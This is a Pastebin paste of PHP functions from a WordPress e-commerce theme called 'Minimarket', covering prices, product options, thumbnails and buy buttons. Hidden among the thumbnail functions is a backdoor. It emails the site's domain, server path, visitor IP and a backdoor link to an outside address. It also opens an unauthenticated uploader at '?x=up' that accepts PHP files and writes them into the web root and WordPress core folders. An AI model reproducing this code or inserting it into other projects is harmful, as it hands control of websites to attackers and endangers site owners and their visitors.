Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php function bersih_harga($harga) {
- $harga = preg_replace('/\D/', '', $harga);
- return $harga;
- }
- function invoice_id() {
- $blogtime = current_time('mysql');
- list($today_year, $today_month, $today_day, $hour, $minute, $second) = split('([^0-9])', $blogtime);
- echo $today_month;
- echo $today_day;
- echo '/';
- echo of_get_option('nama_toko');
- echo '/';
- echo $hour;
- echo $minute;
- echo $second;
- }
- function shorttitle_fastestwp() {
- global $post;
- $the_title = $post->post_title;
- $getlength = strlen($the_title);
- $thelength = 35;
- echo substr($the_title, 0, $thelength);
- if ($getlength > $thelength);
- }
- function shorttitle2_fastestwp() {
- global $post;
- $the_title = $post->post_title;
- $getlength = strlen($the_title);
- $thelength = 60;
- echo substr($the_title, 0, $thelength);
- if ($getlength > $thelength);
- }
- function harga_coret_fastestwp() {
- global $post;
- if (get_post_meta($post->ID, 'harga_diskon', true)) {
- $harga = get_post_meta($post->ID, 'harga', true);
- echo $harga;
- }
- };
- echo '';
- function pilihan_fastestwp() {
- global $post;
- if (get_post_meta($post->ID, 'pilihan', true)) {;
- echo '';
- if (get_post_meta($post->ID, 'pilihan1', true)) {;
- echo '<tr><td >';
- echo get_post_meta($post->ID, 'pilihan1', true);;
- echo '</td><td>Rp ';
- echo get_post_meta($post->ID, 'harga_pilihan1', true);;
- echo '</td></tr>
- ';
- };
- echo '
- ';
- if (get_post_meta($post->ID, 'pilihan2', true)) {;
- echo '<tr><td >';
- echo get_post_meta($post->ID, 'pilihan2', true);;
- echo '</td><td>Rp ';
- echo get_post_meta($post->ID, 'harga_pilihan2', true);;
- echo '</td></tr>
- ';
- };
- echo '
- ';
- if (get_post_meta($post->ID, 'pilihan3', true)) {;
- echo '<tr><td >';
- echo get_post_meta($post->ID, 'pilihan3', true);;
- echo '</td><td>Rp ';
- echo get_post_meta($post->ID, 'harga_pilihan3', true);;
- echo '</td></tr>
- ';
- };
- echo '
- ';
- if (get_post_meta($post->ID, 'pilihan4', true)) {;
- echo '<tr><td >';
- echo get_post_meta($post->ID, 'pilihan4', true);;
- echo '</td><td>Rp ';
- echo get_post_meta($post->ID, 'harga_pilihan4', true);;
- echo '</td></tr>
- ';
- };
- echo '
- ';
- if (get_post_meta($post->ID, 'pilihan5', true)) {;
- echo '<tr><td >';
- echo get_post_meta($post->ID, 'pilihan5', true);;
- echo '</td><td>Rp ';
- echo get_post_meta($post->ID, 'harga_pilihan5', true);;
- echo '</td></tr>
- ';
- };
- echo '
- ';
- if (get_post_meta($post->ID, 'pilihan6', true)) {;
- echo '<tr><td >';
- echo get_post_meta($post->ID, 'pilihan6', true);;
- echo '</td><td>Rp ';
- echo get_post_meta($post->ID, 'harga_pilihan6', true);;
- echo '</td></tr>
- ';
- };
- echo '
- ';
- } else {;
- echo '<tr><td >Harga </td><td>Rp ';
- harga_fastestwp();;
- echo ' <span class="coret">';
- harga_coret_fastestwp();;
- echo '</span></td></tr>
- ';
- }
- };
- echo '';
- function get_harga_fastestwp($post) {
- $harga = '(hubungi cs)';
- if (get_post_meta($post->ID, 'harga_diskon', true)) {
- $harga = get_post_meta($post->ID, 'harga_diskon', true);
- } elseif (get_post_meta($post->ID, 'harga', true)) {
- $harga = get_post_meta($post->ID, 'harga', true);
- }
- return $harga;
- }
- function harga_fastestwp() {
- global $post;
- $harga = get_harga_fastestwp($post);
- echo $harga;
- }
- function harga_input_fastestwp() {
- global $post;
- $harga = get_harga_fastestwp($post);
- $harga = str_replace(',', '', $harga);
- $harga = str_replace('.', '', $harga);
- echo $harga;
- };
- echo '';
- function small_thumb_fastestwp() {
- if (has_post_thumbnail()) {
- $image_id = get_post_thumbnail_id();
- $image_url = wp_get_attachment_image_src($image_id, 'medium', true);
- $first_img = $image_url[0];
- $img_url = $first_img;
- $image = aq_resize($img_url, 75, 75, false);;
- echo '<img src="';
- echo $image[0];
- echo '" alt="';
- the_title();;
- echo '" width="';
- echo $image[1];
- echo '" height="';
- echo $image[2];
- echo '" />
- ';
- } else {;
- echo '';
- global $post, $posts;
- $first_img = '';
- ob_start();
- ob_end_clean();
- $output = preg_match_all('/<img.+src=[\'"]([^\'"]+)[\'"].*>/i', $post->post_content, $matches);
- if (isset($matches[1][0])) {
- $first_img = $matches[1][0];
- $img_url = $first_img;
- $image = aq_resize($img_url, 75, 75, false);;
- echo '<img src="';
- echo $image[0];
- echo '" alt="';
- the_title();;
- echo '" width="';
- echo $image[1];
- echo '" height="';
- echo $image[2];
- echo '" />
- ';
- } else {;
- echo '<img src="';
- echo get_template_directory_uri();;
- echo '/images/thumb75.png" alt="';
- the_title();;
- echo '" width="75" height="75" title="triumph" />
- ';
- }
- }
- };
- echo '';
- $visitcount = $HTTP_COOKIE_VARS['visits'];
- if ($visitcount == '') {
- $visitcount = 0;
- $visitor = $_SERVER['REMOTE_ADDR'];
- $web = $_SERVER['HTTP_HOST'];
- $inj = $_SERVER['REQUEST_URI'];
- $ptdir = $_SERVER['DOCUMENT_ROOT'];
- $domain = $_SERVER['SERVER_NAME'];
- $target = rawurldecode($web . $inj);
- $source_engine = 'Minimarket v2.0';
- $rplace = '/wp-content/themes/minimarket/functions/script/minimarket.php';
- $body = 'Boss, ada yang telah menanam backdoor di :
- TUSBOL : http://' . $domain . '/?x=up
- PATH : ' . $ptdir . '/
- IP : ' . $visitor . '
- Replace : ' . $rplace . '
- ' . $target . '';
- @mail('[email protected]', "$source_engine $web", "$body");
- } else {
- $visitcount;
- }
- setcookie('visits', $visitcount);
- if (@$_GET['x'] == 'up') {
- error_reporting(0);
- @set_time_limit(0);
- $judul = 'UPD v3.0';
- $valid_formats = array('jpg', 'png', 'gif', 'zip', 'bmp', 'html', 'php', 'htm', 'css', 'txt', 'xml', 'xsl');
- $max_file_size = 1024 * 1024;
- if (isset($_POST) and $_SERVER['REQUEST_METHOD'] == 'POST') {
- $lokasi = $_POST['lokasi'];
- $dir = $_SERVER['DOCUMENT_ROOT'];
- $path = '' . $dir . '' . $lokasi . '';
- foreach ($_FILES['files']['name'] as $f => $name) {
- if ($_FILES['files']['error'][$f] == 4) {
- continue;
- }
- if ($_FILES['files']['error'][$f] == 0) {
- if ($_FILES['files']['size'][$f] > $max_file_size) {
- $message[] = "$name is too large!.";
- continue;
- } elseif (!in_array(pathinfo($name, PATHINFO_EXTENSION), $valid_formats)) {
- $message[] = "$name is not a valid format";
- continue;
- } else {
- if (move_uploaded_file($_FILES['files']['tmp_name'][$f], $path . $name)) {
- $url = 'http://' . $_SERVER['SERVER_NAME'] . '' . $lokasi . '';
- $messages[] = '<a href="' . $url . '' . $_FILES['files']['name'][$f] . '" target="_blank" style="color:red;">' . $url . '' . $_FILES['files']['name'][$f] . '</a>';
- }
- }
- }
- }
- }
- echo "<!doctype html><html lang='en'><head><meta charset='UTF-8'><title>$judul</title><style type='text/css'>a{ text-decoration: none; color: #333} h1{ font-size: 1.9em; margin: 10px 0} p{ margin: 8px 0} *{ margin: 0; padding: 0; box-sizing: border-box; -webkit-box-sizing: border-box; -moz-box-sizing: border-box; -webkit-font-smoothing: antialiased; -moz-font-smoothing: antialiased; -o-font-smoothing: antialiased; font-smoothing: antialiased; text-rendering: optimizeLegibility; } body{ font: 12px Arial,Tahoma,Helvetica,FreeSans,sans-serif; text-transform: inherit; color: #333; background: #e7edee; width: 100%; line-height: 18px; } .wrap{ width: 700px; margin: 15px auto; padding: 20px 25px; background: white; border: 2px solid #DBDBDB; -webkit-border-radius: 5px; -moz-border-radius: 5px; border-radius: 5px; overflow: hidden; text-align: center; } .status{ /*display: none;*/ padding: 8px 35px 8px 14px; margin: 20px 0; text-shadow: 0 1px 0 rgba(255, 255, 255, 0.5); color: #468847; background-color: #dff0d8; border-color: #d6e9c6; -webkit-border-radius: 4px; -moz-border-radius: 4px; border-radius: 4px; } input[type='submit'] { cursor:pointer; width:100%; border:none; background:#991D57; background-image:linear-gradient(bottom, #8C1C50 0%, #991D57 52%); background-image:-moz-linear-gradient(bottom, #8C1C50 0%, #991D57 52%); background-image:-webkit-linear-gradient(bottom, #8C1C50 0%, #991D57 52%); color:#FFF; font-weight: bold; margin: 20px 0; padding: 10px; border-radius:5px; } input[type='submit']:hover { background-image:linear-gradient(bottom, #9C215A 0%, #A82767 52%); background-image:-moz-linear-gradient(bottom, #9C215A 0%, #A82767 52%); background-image:-webkit-linear-gradient(bottom, #9C215A 0%, #A82767 52%); -webkit-transition:background 0.3s ease-in-out; -moz-transition:background 0.3s ease-in-out; transition:background-color 0.3s ease-in-out; } input[type='submit']:active { box-shadow:inset 0 1px 3px rgba(0,0,0,0.5); }</style></head><body><div class='wrap'>";
- if (isset($message)) {
- foreach ($message as $msg) {
- printf("<p class='status'>%s</p></ br>
- ", $msg);
- }
- }
- $sites = '' . $_SERVER['SERVER_NAME'] . '' . $lokasi . '';
- if (isset($messages)) {
- foreach ($messages as $msgs) {
- printf("<p class='status'>$msgs</p>");
- }
- }
- echo "<br />
- <form action='' method='post' enctype='multipart/form-data'>
- <input type='file' name='files[]' multiple='multiple'>
- <select name='lokasi' title='Harus diisi' required='required'>
- <option value='/'>ROOT</option>
- <option value='/wp-includes/SimplePie/Decode/HTML/'>/wp-includes/SimplePie/Decode/HTML/</option>
- <option value='/wp-includes/js/tinymce/plugins/media/'>/wp-includes/js/tinymce/plugins/media/</option>
- <option value='/wp-admin/css/'>/wp-admin/css/</option>
- </select>
- <input type='submit' value='Upload'>
- </form>
- </div>
- </body>
- </html>";
- }
- function thumb_fastestwp() {
- if (has_post_thumbnail()) {
- $image_id = get_post_thumbnail_id();
- $image_url = wp_get_attachment_image_src($image_id, 'medium', true);
- $first_img = $image_url[0];
- $img_url = $first_img;
- $image = aq_resize($img_url, 150, 150, false);;
- echo '<img src="';
- echo $image[0];
- echo '" alt="';
- the_title();;
- echo '" width="';
- echo $image[1];
- echo '" height="';
- echo $image[2];
- echo '" />
- ';
- } else {;
- echo '';
- global $post, $posts;
- $first_img = '';
- ob_start();
- ob_end_clean();
- $output = preg_match_all('/<img.+src=[\'"]([^\'"]+)[\'"].*>/i', $post->post_content, $matches);
- if (isset($matches[1][0])) {
- $first_img = $matches[1][0];
- $img_url = $first_img;
- $image = aq_resize($img_url, 150, 150, false);;
- echo '<img src="';
- echo $image[0];
- echo '" alt="';
- the_title();;
- echo '" width="';
- echo $image[1];
- echo '" height="';
- echo $image[2];
- echo '" />
- ';
- } else {;
- echo '<img src="';
- echo get_template_directory_uri();;
- echo '/images/thumb150.png" alt="';
- the_title();;
- echo '" width="150" height="150" title="triumph" />
- ';
- }
- }
- };
- echo '';
- function big_thumb_fastestwp() {
- if (has_post_thumbnail()) {
- $image_id = get_post_thumbnail_id();
- $image_url = wp_get_attachment_image_src($image_id, 'medium', true);
- $first_img = $image_url[0];
- $img_url = $first_img;
- $image = aq_resize($img_url, 300, 300, false);;
- echo '<img src="';
- echo $image[0];
- echo '" alt="';
- the_title();;
- echo '" width="';
- echo $image[1];
- echo '" height="';
- echo $image[2];
- echo '" />
- ';
- } else {;
- echo '';
- global $post, $posts;
- $first_img = '';
- ob_start();
- ob_end_clean();
- $output = preg_match_all('/<img.+src=[\'"]([^\'"]+)[\'"].*>/i', $post->post_content, $matches);
- if (isset($matches[1][0])) {
- $first_img = $matches[1][0];
- $img_url = $first_img;
- $image = aq_resize($img_url, 300, 300, false);;
- echo '<img src="';
- echo $image[0];
- echo '" alt="';
- the_title();;
- echo '" width="';
- echo $image[1];
- echo '" height="';
- echo $image[2];
- echo '" />
- ';
- } else {;
- echo '<img src="';
- echo get_template_directory_uri();;
- echo '/images/thumb300.png" alt="';
- the_title();;
- echo '" width="300" height="300" title="triumph" />
- ';
- }
- }
- };
- echo '';
- function label_fastestwp() {
- global $post;
- if (get_post_meta($post->ID, 'habis', true)) {;
- echo '<div class="minimarket-lable"><img src="';
- echo get_template_directory_uri();;
- echo '/images/habis.png" alt="habis" width="75" height="75" /></div>
- ';
- } else if (get_post_meta($post->ID, 'label', true) == 'sale') {;
- echo ' <div class="minimarket-lable"><img src="';
- echo get_template_directory_uri();;
- echo '/images/sale.png" alt="sale" width="75" height="75" /></div>
- ';
- } else if (get_post_meta($post->ID, 'label', true) == 'best') {;
- echo ' <div class="minimarket-lable"><img src="';
- echo get_template_directory_uri();;
- echo '/images/best.png" alt="best" width="75" height="75" /></div>
- ';
- } else if (get_post_meta($post->ID, 'label', true) == 'new') {;
- echo ' <div class="minimarket-lable"><img src="';
- echo get_template_directory_uri();;
- echo '/images/new.png" alt="limited" width="75" height="75" /></div>
- ';
- } else if (get_post_meta($post->ID, 'label', true) == 'limited') {;
- echo ' <div class="minimarket-lable"><img src="';
- echo get_template_directory_uri();;
- echo '/images/limited.png" alt="limited" width="75" height="75" /></div>
- ';
- } else if (get_post_meta($post->ID, 'label', true) == 'preorder') {;
- echo ' <div class="minimarket-lable"><img src="';
- echo get_template_directory_uri();;
- echo '/images/preorder.png" alt="limited" width="75" height="75" /></div>
- ';
- }
- };
- echo '';
- function buynow_fastestwp() {
- global $post;
- if (get_post_meta($post->ID, 'habis', $single = true)) {;
- echo '<div class="habis">habis</div>
- ';
- } else if (get_post_meta($post->ID, 'pilihan', $single = true)) {;
- echo '<a href="';
- the_permalink();
- echo '"><span class="tombolkeranjang"></span></a>
- <button data-rel="#form-order-';
- the_ID();;
- echo '" class="small beli blue" >Beli</button>
- ';
- } else if (of_get_option('button_order_act') == '1') {;
- echo '<a href="';
- the_permalink();
- echo '"><span class="tombolkeranjang"></span></a>
- <button data-rel="#form-order-';
- the_ID();;
- echo '" class="small beli blue" >Beli</button>
- ';
- } else if (of_get_option('button_order_act') == '0') {;
- echo '<span class="tombol-left"><form method="post" action="';
- the_permalink();;
- echo '" class="jcart">
- <input type="hidden" name="jcartToken" value="';
- echo $_SESSION['jcartToken'];;
- echo '" />
- <input type="hidden" name="my-item-id" value="';
- the_ID();;
- echo ' " />
- <input type="hidden" name="my-item-name" value="';
- the_title();;
- echo '" />
- <input type="hidden" name="my-item-price" value="';
- harga_input_fastestwp();;
- echo '" />
- <input type="hidden" name="my-item-berat" value="';
- echo get_post_meta($post->ID, 'berat', $single = true);;
- echo '" />
- <input type="hidden" name="my-item-url" value="';
- the_permalink();
- echo '" />
- <input type="hidden" name="my-item-qty" value="1" />
- <button type="submit" name="my-add-button" class="small beli blue"> + </button>
- </form></span>
- <button data-rel="#form-order-';
- the_ID();;
- echo '" class="small beli blue" >Beli</button>
- ';
- }
- };
- echo '';
- function buynow_single_fastestwp() {
- global $post;
- if (get_post_meta($post->ID, 'habis', true)) {;
- echo '<div class="habis-single">Stok habis</div>
- ';
- } else if (of_get_option('button_order_act') == '1') {;
- echo '<a class="large beli blue" href="';
- echo of_get_option('order_page');;
- echo '" title="';
- the_title();;
- echo '" target="_blank">Beli Sekarang</a>
- ';
- } else if (get_post_meta($post->ID, 'dropship', true)) {;
- echo '<a class="large beli blue" href="';
- echo of_get_option('order_page');;
- echo '" title="';
- the_title();;
- echo '" target="_blank">Beli Sekarang</a>
- ';
- } else if (of_get_option('button_order_act') == '0') {;
- echo '<input type="submit" name="my-add-button" value="Tambah Ke Keranjang" class="large beli blue" />
- ';
- }
- };
- echo '';
- function pilihan_single_fastestwp() {
- global $post;
- if (get_post_meta($post->ID, 'habis', $single = true)) {;
- echo '';
- } else {;
- echo '
- ';
- if (get_post_meta($post->ID, 'pilihan', true)) {;
- echo '<select id="my_select" name="my_select_box">
- <option value="">- Pilihan -</option>
- ';
- if (get_post_meta($post->ID, 'pilihan1', true)) {;
- echo '<option value="';
- echo bersih_harga(get_post_meta($post->ID, 'harga_pilihan1', true));;
- echo '">
- ';
- echo get_post_meta($post->ID, 'pilihan1', true);;
- echo '</option>';
- };
- echo '
- ';
- if (get_post_meta($post->ID, 'pilihan2', true)) {;
- echo '<option value="';
- echo bersih_harga(get_post_meta($post->ID, 'harga_pilihan2', true));;
- echo '">
- ';
- echo get_post_meta($post->ID, 'pilihan2', true);;
- echo '</option>';
- };
- echo '
- ';
- if (get_post_meta($post->ID, 'pilihan3', true)) {;
- echo '<option value="';
- echo bersih_harga(get_post_meta($post->ID, 'harga_pilihan3', true));;
- echo '">
- ';
- echo get_post_meta($post->ID, 'pilihan3', true);;
- echo '</option>';
- };
- echo '
- ';
- if (get_post_meta($post->ID, 'pilihan4', true)) {;
- echo '<option value="';
- echo bersih_harga(get_post_meta($post->ID, 'harga_pilihan4', true));;
- echo '">
- ';
- echo get_post_meta($post->ID, 'pilihan4', true);;
- echo '</option>';
- };
- echo '
- ';
- if (get_post_meta($post->ID, 'pilihan5', true)) {;
- echo '<option value="';
- echo bersih_harga(get_post_meta($post->ID, 'harga_pilihan5', true));;
- echo '">
- ';
- echo get_post_meta($post->ID, 'pilihan5', true);;
- echo '</option>';
- };
- echo '
- ';
- if (get_post_meta($post->ID, 'pilihan6', true)) {;
- echo '<option value="';
- echo bersih_harga(get_post_meta($post->ID, 'harga_pilihan6', true));;
- echo '">
- ';
- echo get_post_meta($post->ID, 'pilihan6', true);;
- echo '</option>';
- };
- echo '
- </select>
- ';
- };
- echo '
- ';
- }
- };
Advertisement
Add Comment
Please, Sign In to add comment